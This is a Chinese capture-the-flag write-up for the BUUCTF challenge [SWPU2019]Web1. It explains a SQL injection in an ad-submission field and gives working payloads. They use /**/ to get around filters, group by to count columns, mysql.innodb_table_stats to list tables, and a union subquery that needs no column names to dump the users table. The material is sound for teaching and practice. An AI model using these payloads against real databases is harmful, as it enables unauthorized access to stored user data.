考点:
sql注入
buuctf上开启容器可以看到是个登录页面,注入的地方不在这里,我们首先需要进行注册一个账号,然后登录上去,可以看到有个申请发布广告。
既然登录页面没有东西,那么申请发布广告肯定会有东西的。后来看了佬的博客,发现sql注入点是在广告名这里,一开始没想到是sql,一开始想到的是rce。
通过尝试关键字发现or和and被过滤,那么跟含有or这个关键词的information和order都不能用,也就是说不能使用order by进行判断列数了。那可以考虑尝试group by来判断列数。还有空格也被过滤了,空格可以用注释符来绕过/**/,注释符(# --+)也是敏感字符也被过滤了。我看这个佬的博客[SWPU2019]Web1-CSDN博客好像是在注入语句后加上了,' (我感觉应该是这个后面的 , 应该是和mysql里的 ; 差不多,然后 ' 用来闭合源码中最后的那个单引号,从而达成执行命令的效果)
先来判断列数payload:1'/**/group/**/by/**/22,'
当我们将22换成23就会爆出错误,由此得出列数为22
那么接下来就应该确定那几个列可以展示查询的信息了
payload:1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
可以知道2,3列可以显示信息,先查数据库名payload:1'/**/union/**/select/**/1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
接着就来爆表名,由于information_schema中含有or所以也是没办法使用的但是还有其他方法可以进行注入不知道列名的情况下注入 - 简书 (jianshu.com)
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()
payload:1'/**/union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
得到两个表名ads和users,进行无字段名爆值,试试users的
payload:1'/**/union/**/select/**/1,2,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
整理一下就是1' union select 1,2,(select group_concat(b) from (select 1,2,3 as b union select from users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
这一部分是用于提取数据的核心子查询。
解析:
(select group_concat(b)
:外层查询使用了group_concat(b)
函数,它会将所有返回的b
列的值连接为一个字符串返回。攻击者希望通过这个方式将多行数据合并为一个结果返回。
from (select 1,2,3 as b union select from users)
:这里是一个子查询,它做了以下两件事:
select 1,2,3 as b
:这部分构造了一个临时表,其中b
列的值为3
,这是为了让union
操作正常工作。因为union
需要保证两个查询的列数和数据类型一致。
union select from users
:这部分从users
表中获取数据
a)
:这部分将内层的结果当作一个临时表a
,然后外层查询从该临时表中选择b
列,并将其使用group_concat
函数进行拼接。
得到flag
参考文章:
^v^ (cnblogs.com)
[SWPU2019]Web1-CSDN博客
不知道列名的情况下注入 - 简书